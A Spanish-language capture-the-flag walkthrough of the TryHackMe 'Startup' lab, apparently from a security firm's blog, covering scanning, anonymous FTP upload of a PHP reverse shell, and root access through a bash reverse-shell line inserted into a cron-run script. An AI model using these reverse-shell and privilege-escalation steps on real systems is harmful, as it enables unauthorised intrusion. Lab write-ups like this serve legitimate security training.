¡Bienvenido a este manual de pentesting para principiantes! En este manual, te guiaré a través de los pasos esenciales para realizar un pentesting en la máquina Startup TryHackMe utilizando las siguientes herramientas: nmap, gobuster y wireshark. A lo largo del manual, explicaré el propósito de cada herramienta y los comandos utilizados. ¡Comencemos!

Paso 1: Configuración inicial de Startup TryHackMe

Primeramente, crea un directorio de trabajo para almacenar todos los archivos relacionados con el pentesting. También, agrega la dirección IP de la máquina objetivo al archivo de hosts para facilitar el acceso.

Paso 2: Comprobación de disponibilidad

Antes de comenzar con el pentesting, realiza un ping a la máquina objetivo para verificar que esté activa y lista para ser analizada.

Startup Tryhackme Ping

Paso 3: Escaneo inicial de puertos

Realiza un escaneo sencillo de puertos utilizando la herramienta nmap. Ejecuta el siguiente comando:

nmap -p- ipmaquina -oN nmap_startup_inicial

Este comando te mostrará los puertos 21, 22 y 80 que están abiertos en la máquina objetivo. A continuación, explicaré brevemente para qué se utiliza cada uno de estos servicios:

  • 21: FTP (Protocolo de Transferencia de Archivos) – Permite la transferencia de archivos.
  • 22: SSH (Secure Shell) – Proporciona acceso seguro a la máquina a través de una conexión cifrada.
  • 80: HTTP (Protocolo de Transferencia de Hipertexto) – Utilizado para servir páginas web.
Startup Tryhackme Nmap1

Paso 4: Escaneo exhaustivo de puertos

Realiza un escaneo más exhaustivo de los puertos previamente identificados utilizando nmap. Ejecuta el siguiente comando:

nmap -p 21,22,80 -sCVS --min-rate 5000 -v -n ipmaquina -oN nmap_startup_completo

Este comando proporcionará información detallada sobre los servicios y las vulnerabilidades potenciales presentes en los puertos identificados. Donde podemos observar que está permitido el acceso anónimo y la carga al directorio ftp.

Startup Tryhackme Nmap2

Paso 5: Evaluación del acceso anónimo al FTP

Observaste que el acceso anónimo al FTP está permitido en la máquina objetivo. Realizaremos una evaluación más detallada descargando un archivo txt y un archivo jpg desde el FTP para su inspección. Utilizaremos el comando «get» para descargar los archivos, pero primero, debemos verificar si hay información interesante dentro de ellos.

Startup Tryhackme Ftp1

Paso 6: Inspección del sitio web con gobuster de Startup TryHackMe

Utilizaremos la herramienta gobuster para inspeccionar el sitio web en busca de directorios ocultos. Ejecuta el siguiente comando:

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 100 -q -u ipmaquina

Este comando buscará y mostrará los directorios y archivos ocultos presentes en el sitio web. Y aquí observamos que el directorio ftp al que podemos subir un archivo lo lista, por lo que podemos subir y ejecutar un php-reverse-shell.

Startup Tryhackme Gobuster

Paso 7: Acceso al FTP y carga de una shell reversa en Startup TryHackMe

Accedemos al FTP para proceder a realizar una PHP Reverse Shell. Creamos un archivo llamado shell.php con el contenido de este enlace, recuerda cambiar la ip y el puerto de escucha. Luego, accedemos nuevamente al FTP y utilizamos el comando «put shell.php» para subir el archivo shell.php al directorio FTP. Verificamos que el archivo se haya cargado correctamente en el directorio.

Startup Tryhackme Ftp2

Paso 8: Ganar acceso utilizando la shell reversa

Abrimos una ventana de comandos y ejecutamos el siguiente comando:

nc -nvlp 1234

Luego, desde nuestro navegador web, accedemos a http://ipmaquina/files/ftp/archivo.php para establecer el primer acceso utilizando la shell reversa. Aquí es donde obtenemos la primera bandera.

Startup Tryhackme Shell1

Paso 9: Configuración de un servidor HTTP en la máquina objetivo

Dentro de la máquina, revisando los archivos y carpetas, comprobamos que hay un archivo de wireshark que nos puede dar información. Montamos un servidor HTTP en la máquina objetivo ejecutando el siguiente comando:

python -m http.server

Esto nos permitirá descargar archivos desde la máquina atacante. También podemos copiar el archivo de Wireshark a la carpeta /ftp para descargarlo más tarde.

Startup Tryhackme Wireshark1

Paso 10: Descarga e inspección del archivo de Wireshark

Desde nuestra máquina atacante, ejecutamos el siguiente comando:

wget http://ipmaquinaatacada:8000/archivo

Esto descargará el archivo desde el servidor HTTP en la máquina objetivo. Luego, podemos inspeccionar el archivo utilizando Wireshark para analizar el tráfico de red. Podemos encontrar ataques con shell reversas que se encuentran en el puerto 4444. Al analizar los paquetes, encontramos una posible contraseña que podemos probar con el usuario descubierto en la carpeta home.

Startup Tryhackme Wireshark2

Paso 11: Acceso por SSH utilizando el usuario «lennie»

Accedemos por SSH a la máquina objetivo utilizando el usuario «lennie». Esto se puede hacer utilizando el comando «ssh usuario@ipmaquina». Navegando por los directorios, encontramos un archivo .sh que si lo inspeccionamos, llama a otro archivo .sh, al revisar los permisos, vemos que podemos editarlo para crear una shell reversa, lo abrimos y en la segunda linea añadimos lo siguiente: bash -i >& dev/tcp/ipvpn/443 0>&1. Guardamos los cambios y ejecutamos el comando «crontab -e» para configurar un cron que se ejecute cada minuto.

Stratup Tryhackme Bash

Paso 12: Obtención de acceso root

Agregamos la siguiente línea al archivo crontab:

* * * * * /bin/bash /etc/print.sh
Stratup Tryhackme Crontab

Abrimos una ventana de comandos y ejecutamos el siguiente comando:

nc -nvlp 443

Esperamos a obtener acceso root a través de la shell reversa. Una vez dentro, buscamos la última bandera y consideramos la máquina completamente hackeada.

Stratup Tryhackme Root

Resumen Startup TryHackMe

En resumen, hemos realizado un pentesting paso a paso utilizando diversas herramientas. Comenzamos con un escaneo inicial de puertos utilizando nmap y luego realizamos un escaneo más exhaustivo. Evaluamos el acceso anónimo al FTP y luego inspeccionamos el sitio web utilizando gobuster. Ganamos acceso a la máquina objetivo utilizando una shell reversa y analizamos el tráfico de red utilizando Wireshark. Posteriormente, obtuvimos acceso al usuario «lennie» y escalamos privilegios para obtener acceso root.

Confía en DCSeguridad

Si necesitas servicios de pentesting y seguridad informática, te recomendamos contactar a nuestra empresa, DCSeguridad. Nuestro equipo de expertos en seguridad puede ayudarte a proteger tu negocio y garantizar la integridad de tus sistemas. Únete a nuestro canal de Telegram para recibir actualizaciones y consejos de seguridad. ¡Estamos aquí para ayudarte!